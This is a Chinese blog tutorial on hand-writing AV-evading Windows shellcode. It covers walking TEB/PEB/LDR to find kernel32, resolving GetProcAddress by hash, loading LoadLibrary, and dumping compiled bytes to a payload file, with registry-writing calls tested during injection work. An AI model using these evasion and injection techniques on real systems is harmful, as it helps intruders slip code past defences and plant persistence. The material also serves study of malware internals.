Contents

[免杀]手动编写&获取ShellCode

shellcode获取

0x00 前言

这几天在搞注入的时候由于各种原因MSF,CS生成的shellcode不能实现写注册表这个单纯的需求(也可能是我没找到?

于是乎就想着自己写.

0x01 通过FS(32位)/GS(64位)获取TEB 再通过偏移获取PEB

FS寄存器指向的为TEB结构

TEB(ThreadEnvironmentBlock)线程进程块 记录着 线程的信息

typedef struct _TEB
{
NT_TIB Tib; /* 00h */
PVOID EnvironmentPointer; /* 1Ch */
CLIENT_ID Cid; /* 20h */
PVOID ActiveRpcHandle; /* 28h */
PVOID ThreadLocalStoragePointer; /* 2Ch */
/*此处*/
struct _PEB *ProcessEnvironmentBlock; /* 30h */
ULONG LastErrorValue; /* 34h */
ULONG CountOfOwnedCriticalSections; /* 38h */
PVOID CsrClientThread; /* 3Ch */
struct _W32THREAD* Win32ThreadInfo; /* 40h */
ULONG User32Reserved[0x1A]; /* 44h */
ULONG UserReserved[5]; /* ACh */
PVOID WOW32Reserved; /* C0h */
LCID CurrentLocale; /* C4h */
ULONG FpSoftwareStatusRegister; /* C8h */
PVOID SystemReserved1[0x36]; /* CCh */
LONG ExceptionCode; /* 1A4h */
struct _ACTIVATION_CONTEXT_STACK *ActivationContextStackPointer; /* 1A8h */
UCHAR SpareBytes1[0x28]; /* 1ACh */
GDI_TEB_BATCH GdiTebBatch; /* 1D4h */
CLIENT_ID RealClientId; /* 6B4h */
PVOID GdiCachedProcessHandle; /* 6BCh */
ULONG GdiClientPID; /* 6C0h */
ULONG GdiClientTID; /* 6C4h */
PVOID GdiThreadLocalInfo; /* 6C8h */
ULONG Win32ClientInfo[62]; /* 6CCh */
PVOID glDispatchTable[0xE9]; /* 7C4h */
ULONG glReserved1[0x1D]; /* B68h */
PVOID glReserved2; /* BDCh */
PVOID glSectionInfo; /* BE0h */
PVOID glSection; /* BE4h */
PVOID glTable; /* BE8h */
PVOID glCurrentRC; /* BECh */
PVOID glContext; /* BF0h */
NTSTATUS LastStatusValue; /* BF4h */
UNICODE_STRING StaticUnicodeString; /* BF8h */
WCHAR StaticUnicodeBuffer[0x105]; /* C00h */
PVOID DeallocationStack; /* E0Ch */
PVOID TlsSlots[0x40]; /* E10h */
LIST_ENTRY TlsLinks; /* F10h */
PVOID Vdm; /* F18h */
PVOID ReservedForNtRpc; /* F1Ch */
PVOID DbgSsReserved[0x2]; /* F20h */
ULONG HardErrorDisabled; /* F28h */
PVOID Instrumentation[14]; /* F2Ch */
PVOID SubProcessTag; /* F64h */
PVOID EtwTraceData; /* F68h */
PVOID WinSockData; /* F6Ch */
ULONG GdiBatchCount; /* F70h */
BOOLEAN InDbgPrint; /* F74h */
BOOLEAN FreeStackOnTermination; /* F75h */
BOOLEAN HasFiberData; /* F76h */
UCHAR IdealProcessor; /* F77h */
ULONG GuaranteedStackBytes; /* F78h */
PVOID ReservedForPerf; /* F7Ch */
PVOID ReservedForOle; /* F80h */
ULONG WaitingOnLoaderLock; /* F84h */
ULONG SparePointer1; /* F88h */
ULONG SoftPatchPtr1; /* F8Ch */
ULONG SoftPatchPtr2; /* F90h */
PVOID *TlsExpansionSlots; /* F94h */
ULONG ImpersionationLocale; /* F98h */
ULONG IsImpersonating; /* F9Ch */
PVOID NlsCache; /* FA0h */
PVOID pShimData; /* FA4h */
ULONG HeapVirualAffinity; /* FA8h */
PVOID CurrentTransactionHandle; /* FACh */
PTEB_ACTIVE_FRAME ActiveFrame; /* FB0h */
PVOID FlsData; /* FB4h */
UCHAR SafeThunkCall; /* FB8h */
UCHAR BooleanSpare[3]; /* FB9h */
} TEB, *PTEB;

所以我们FS:[30]就是我们的PEB

PEB(ProcessEnvironmentBlock)进程环境块 记录的当前进程的信息

PEB结构如下

typedef struct _PEB
{
UCHAR InheritedAddressSpace; // 00h
UCHAR ReadImageFileExecOptions; // 01h
UCHAR BeingDebugged; // 02h
UCHAR Spare; // 03h
PVOID Mutant; // 04h
PVOID ImageBaseAddress; // 08h
/*LDR*/
PPEB_LDR_DATA Ldr; // 0Ch

PRTL_USER_PROCESS_PARAMETERS ProcessParameters; // 10h
PVOID SubSystemData; // 14h
PVOID ProcessHeap; // 18h
PVOID FastPebLock; // 1Ch
PPEBLOCKROUTINE FastPebLockRoutine; // 20h
PPEBLOCKROUTINE FastPebUnlockRoutine; // 24h
ULONG EnvironmentUpdateCount; // 28h
PVOID* KernelCallbackTable; // 2Ch
PVOID EventLogSection; // 30h
PVOID EventLog; // 34h
PPEB_FREE_BLOCK FreeList; // 38h
ULONG TlsExpansionCounter; // 3Ch
PVOID TlsBitmap; // 40h
ULONG TlsBitmapBits[0x2]; // 44h
PVOID ReadOnlySharedMemoryBase; // 4Ch
PVOID ReadOnlySharedMemoryHeap; // 50h
PVOID* ReadOnlyStaticServerData; // 54h
PVOID AnsiCodePageData; // 58h
PVOID OemCodePageData; // 5Ch
PVOID UnicodeCaseTableData; // 60h
ULONG NumberOfProcessors; // 64h
ULONG NtGlobalFlag; // 68h
UCHAR Spare2[0x4]; // 6Ch
LARGE_INTEGER CriticalSectionTimeout; // 70h
ULONG HeapSegmentReserve; // 78h
ULONG HeapSegmentCommit; // 7Ch
ULONG HeapDeCommitTotalFreeThreshold; // 80h
ULONG HeapDeCommitFreeBlockThreshold; // 84h
ULONG NumberOfHeaps; // 88h
ULONG MaximumNumberOfHeaps; // 8Ch
PVOID** ProcessHeaps; // 90h
PVOID GdiSharedHandleTable; // 94h
PVOID ProcessStarterHelper; // 98h
PVOID GdiDCAttributeList; // 9Ch
PVOID LoaderLock; // A0h
ULONG OSMajorVersion; // A4h
ULONG OSMinorVersion; // A8h
ULONG OSBuildNumber; // ACh
ULONG OSPlatformId; // B0h
ULONG ImageSubSystem; // B4h
ULONG ImageSubSystemMajorVersion; // B8h
ULONG ImageSubSystemMinorVersion; // C0h
ULONG GdiHandleBuffer[0x22]; // C4h
PVOID ProcessWindowStation; // ???
} PEB, *PPEB;

C代码

typedef struct _UNICODE_STR
{
    USHORT Length;
    USHORT MaximumLength;
    PWSTR pBuffer;
} UNICODE_STR, * PUNICODE_STR;

// LDR结构体
typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
{
    DWORD dwLength;
    DWORD dwInitialized;
    LPVOID lpSsHandle;
    LIST_ENTRY InLoadOrderModuleList;
    LIST_ENTRY InMemoryOrderModuleList;
    LIST_ENTRY InInitializationOrderModuleList;
    LPVOID lpEntryInProgress;
} PEB_LDR_DATA, * PPEB_LDR_DATA;

typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
{
    struct _PEB_FREE_BLOCK* pNext;
    DWORD dwSize;
} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;


//PEB 
typedef struct __PEB // 65 elements, 0x210 bytes
{
    BYTE bInheritedAddressSpace;
    BYTE bReadImageFileExecOptions;
    BYTE bBeingDebugged;
    BYTE bSpareBool;
    LPVOID lpMutant;
    LPVOID lpImageBaseAddress;
    PPEB_LDR_DATA pLdr;
    LPVOID lpProcessParameters;
    LPVOID lpSubSystemData;
    LPVOID lpProcessHeap;
    PRTL_CRITICAL_SECTION pFastPebLock;
    LPVOID lpFastPebLockRoutine;
    LPVOID lpFastPebUnlockRoutine;
    DWORD dwEnvironmentUpdateCount;
    LPVOID lpKernelCallbackTable;
    DWORD dwSystemReserved;
    DWORD dwAtlThunkSListPtr32;
    PPEB_FREE_BLOCK pFreeList;
    DWORD dwTlsExpansionCounter;
    LPVOID lpTlsBitmap;
    DWORD dwTlsBitmapBits[2];
    LPVOID lpReadOnlySharedMemoryBase;
    LPVOID lpReadOnlySharedMemoryHeap;
    LPVOID lpReadOnlyStaticServerData;
    LPVOID lpAnsiCodePageData;
    LPVOID lpOemCodePageData;
    LPVOID lpUnicodeCaseTableData;
    DWORD dwNumberOfProcessors;
    DWORD dwNtGlobalFlag;
    LARGE_INTEGER liCriticalSectionTimeout;
    DWORD dwHeapSegmentReserve;
    DWORD dwHeapSegmentCommit;
    DWORD dwHeapDeCommitTotalFreeThreshold;
    DWORD dwHeapDeCommitFreeBlockThreshold;
    DWORD dwNumberOfHeaps;
    DWORD dwMaximumNumberOfHeaps;
    LPVOID lpProcessHeaps;
    LPVOID lpGdiSharedHandleTable;
    LPVOID lpProcessStarterHelper;
    DWORD dwGdiDCAttributeList;
    LPVOID lpLoaderLock;
    DWORD dwOSMajorVersion;
    DWORD dwOSMinorVersion;
    WORD wOSBuildNumber;
    WORD wOSCSDVersion;
    DWORD dwOSPlatformId;
    DWORD dwImageSubsystem;
    DWORD dwImageSubsystemMajorVersion;
    DWORD dwImageSubsystemMinorVersion;
    DWORD dwImageProcessAffinityMask;
    DWORD dwGdiHandleBuffer[34];
    LPVOID lpPostProcessInitRoutine;
    LPVOID lpTlsExpansionBitmap;
    DWORD dwTlsExpansionBitmapBits[32];
    DWORD dwSessionId;
    ULARGE_INTEGER liAppCompatFlags;
    ULARGE_INTEGER liAppCompatFlagsUser;
    LPVOID lppShimData;
    LPVOID lpAppCompatInfo;
    UNICODE_STR usCSDVersion;
    LPVOID lpActivationContextData;
    LPVOID lpProcessAssemblyStorageMap;
    LPVOID lpSystemDefaultActivationContextData;
    LPVOID lpSystemAssemblyStorageMap;
    DWORD dwMinimumStackCommit;
} _PEB;
// LDR LIST_ENTRY
typedef struct _LDR_DATA_TABLE_ENTRY
{
    LIST_ENTRY InMemoryOrderModuleList;
    LIST_ENTRY InInitializationOrderModuleList;
    PVOID DllBase;
    PVOID EntryPoint;
    ULONG SizeOfImage;
    UNICODE_STR FullDllName;
    UNICODE_STR BaseDllName;
    ULONG Flags;
    SHORT LoadCount;
    SHORT TlsIndex;
    LIST_ENTRY HashTableEntry;
    ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;

0x02 通过PEB获取LDR链

LDR MSDN这样介绍Contains information about the loaded modules for the process. 进程加载的模块的信息

LDR结构

msdn上的结构少了

typedef struct _PEB_LDR_DATA
{
 ULONG Length; // +0x00
 BOOLEAN Initialized; // +0x04
 PVOID SsHandle; // +0x08
 LIST_ENTRY InLoadOrderModuleList; // +0x0c
 LIST_ENTRY InMemoryOrderModuleList; // +0x14
 LIST_ENTRY InInitializationOrderModuleList;// +0x1c
} PEB_LDR_DATA,*PPEB_LDR_DATA; // +0x24

LIST_ENTRY 结构是双链表

typedef struct _LIST_ENTRY {
   struct _LIST_ENTRY *Flink;
   struct _LIST_ENTRY *Blink;
} LIST_ENTRY, *PLIST_ENTRY, *RESTRICTED_POINTER PRLIST_ENTRY;

这边笔者给绕进去了 ,我们把_PEB_LDR_DATA展开,实际上是个结构体套结构体

typedef struct _PEB_LDR_DATA
{
 ULONG Length; // +0x00
 BOOLEAN Initialized; // +0x04
 PVOID SsHandle; // +0x08
 LIST_ENTRY InLoadOrderModuleList
{
   struct _LIST_ENTRY *Flink;
   struct _LIST_ENTRY *Blink;
}  // +0x0c
 LIST_ENTRY InMemoryOrderModuleList
{
   struct _LIST_ENTRY *Flink;
   struct _LIST_ENTRY *Blink;
}  // +0x14
 LIST_ENTRY InInitializationOrderModuleList
{
   struct _LIST_ENTRY *Flink;
   struct _LIST_ENTRY *Blink;
} // +0x1c
} PEB_LDR_DATA,*PPEB_LDR_DATA; // +0x24

然后看我们的_LDR_DATA_TABLE_ENTRY

typedef struct _LDR_DATA_TABLE_ENTRY
{
     LIST_ENTRY InLoadOrderLinks;
     LIST_ENTRY InMemoryOrderLinks;
     LIST_ENTRY InInitializationOrderLinks;
     PVOID DllBase;
     PVOID EntryPoint;
     ULONG SizeOfImage;
     UNICODE_STRING FullDllName;
     UNICODE_STRING BaseDllName;
     ULONG Flags;
     WORD LoadCount;
     WORD TlsIndex;
     union
     {
          LIST_ENTRY HashLinks;
          struct
          {
               PVOID SectionPointer;
               ULONG CheckSum;
          };
     };
     union
     {
          ULONG TimeDateStamp;
          PVOID LoadedImports;
     };
     _ACTIVATION_CONTEXT * EntryPointActivationContext;
     PVOID PatchInformation;
     LIST_ENTRY ForwarderLinks;
     LIST_ENTRY ServiceTagLinks;
     LIST_ENTRY StaticLinks;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;

实际这里的三个LIST_ENTRY也是和上面一样的内嵌

然后LIST_ENTRY中FLINK指向的是前一个模块的FLINK,Blink同理

给大家画个图

https://666-1302849508.cos.ap-nanjing.myqcloud.com/pic/LDR.jpg

差不多就是这样 有点丑 见谅

0X03 LDR链获取KERNEL32.DLL基地址

反正就是我们从LDR中找到KERNEL32的DLLBASE就行了

C表示就是

((PLDR_DATA_TABLE_ENTRY)ldr->InLoadOrderModuleList.Flink).DllBase

0x04 读kernel32导出表获取 GetProcAddress 地址

得到kernel32的基地址 直接加载PE

然后加载导出表的函数 接着通过HASH 或者是字符比对进行查找 推荐hash 这边我自己从网上CV了一个hash函数

 0
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
   PIMAGE_NT_HEADERS32 pNtHeaders32 = NULL;
   // PIMAGE_NT_HEADERS64 pNtHeaders64 = NULL;
   //  pNtHeaders64 = (PIMAGE_NT_HEADERS64)(kernel32_base + ((PIMAGE_DOS_HEADER)kernel32_base)->e_lfanew);
    PIMAGE_DATA_DIRECTORY pDataDirectory = NULL;
    PIMAGE_EXPORT_DIRECTORY pExportDirectory = NULL;
    // 解析PE头
    pNtHeaders32 = (PIMAGE_NT_HEADERS32)(kernel32_base + ((PIMAGE_DOS_HEADER)kernel32_base)->e_lfanew);
    // 拿到导出表
    pDataDirectory = (PIMAGE_DATA_DIRECTORY)&pNtHeaders32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
    // 遍历导出表
    pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(kernel32_base + pDataDirectory->VirtualAddress);

    DWORD* RVAFunctions = (DWORD*)(kernel32_base + pExportDirectory->AddressOfFunctions);		// VA = 基址 + 导出函数地址表RVA
    DWORD* RVANames = (DWORD*)(kernel32_base + pExportDirectory->AddressOfNames);				// VA = 基址 + 导出函数名称表RVA
    WORD* Ordinals = (WORD*)(kernel32_base + pExportDirectory->AddressOfNameOrdinals);	// VA = 基址 + 导出函数名称序号表
    int numName = pExportDirectory->NumberOfNames;
    char str1[] = { 'G', 'e', 't', 'P', 'r', 'o', 'c', 'A', 'd', 'd', 'r', 'e', 's', 's', '\0' };
    int VAFunction, ordinal;
    for (int i = 0; i < numName; i++) {
        DWORD ordinal = *(Ordinals + i);			// 取(序号表+1)的值,即在序号表中找到是第几个作为索引值
        DWORD RVA = *(RVAFunctions + ordinal);	// 在函数地址表中找到对应函数的地址为RVA
        DWORD VAFunction = kernel32_base + RVA;		// 函数绝对地址就是DOS头基地址 + RVA

        RVA = *(RVANames + i);				// 名称地址表中找到索引
        DWORD VA = kernel32_base + RVA;// 绝对地址为DOS头基址+RVA
        char* hashVa = (char*)VA;
        DWORD hash_name = 0;
        //通过hash查找
        while (*hashVa)
        {
            hash_name = (*hashVa++) + (hash_name << 6) + (hash_name << 16) - hash_name;
        }

        hash_name = (hash_name & 0x7FFFFFFF);
        if (hash_name==0xe96588)
        {
            fnGetProcAddress = (GetProcAddressT)VAFunction;
           // printf("%s\n", (char*)VA);
        }
       // return;
        //通过逐字比对寻找函数
        if (((char*)VA)[0] == str1[0] &&
            ((char*)VA)[1] == str1[1] &&
            ((char*)VA)[2] == str1[2] &&
            ((char*)VA)[3] == str1[3] &&
            ((char*)VA)[4] == str1[4] &&
            ((char*)VA)[5] == str1[5] &&
            ((char*)VA)[6] == str1[6] &&
            ((char*)VA)[7] == str1[7] &&
            ((char*)VA)[8] == str1[8] &&
            ((char*)VA)[9] == str1[9] &&
            ((char*)VA)[10] == str1[10] &&
            ((char*)VA)[11] == str1[11] &&
            ((char*)VA)[12] == str1[12] &&
            ((char*)VA)[13] == str1[13]
            )
        {
            fnGetProcAddress = (GetProcAddressT)VAFunction;

        }
    }

0x05 GetProcAddress 获取LoadLibrary地址

先用typedef定义个LoadLibrary的函数指针

0
   typedef HMODULE(WINAPI* LoadLibraryAT)(_In_ LPCSTR lpLibFileName);

然后接着就可以用Getprocaddress把loadlibrary的地址写进LoadLibraryAT(别名)

0
1
char strLoadLibraryA[] = { 'L','o','a','d','L','i','b','r','a','r','y','A','\0' };
LoadLibraryAT fnLoadlibrary = (LoadLibraryAT)fnGetProcAddress((HMODULE)kernel32_base, strLoadLibraryA);

注意:避免在shellcode中写全局变量和字符串

**因为字符串和全局变量存在data段而我们shellcode并不会使用Data段! **

这样只后就可以通过fnLoadlibrary来实现Loadlibrary了

0x06 通过Loadlibrary和GetProcAddress获取所需函数的地址

剩下的应该就不用说了

可以手动编译完去OD或者直接VS调试器反汇编拔下来

也可以直接在创建个函数通过尾函数地址-首函数地址 再遍历地址下的内容

直接printf或者fwrite出去 这边给大家参考一下

 0
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
void shellcodeEnd() {}
int main()
{
    puts("char shellcode[]={");
    FILE* fid = fopen("payload.bin", "wb");
    int shellcode_size = (int)shellcodeEnd - (int)shellcodeBegin;
    for (int i = 0; i < shellcode_size; i++)
    {
        
        fwrite(&((unsigned char*)(int)shellcodeBegin)[i], sizeof(char), 1, fid);
        
        if (i== shellcode_size-1) {
            printf("0x%02X", ((unsigned char*)(int)shellcodeBegin)[i]);
        }
        else
        {
            printf("0x%02X,", ((unsigned char*)(int)shellcodeBegin)[i]);
        }
        
    }
    printf("};");
    fclose(fid);
}

实践

成功加载

我这边实验了几个函数

GetModuleFileNameA
RegOpenKeyExA
RegSetValueExA
RegCloseKey
MessageBoxA

理论上来说应该都是可以的

shellcode编写之获取kernel32.DLL基址及GetProcAddress - admrty - 博客园 (cnblogs.com)

[原创]PEB结构:获取模块kernel32基址技术及原理分析-软件逆向-看雪论坛-安全社区|安全招聘|bbs.pediy.com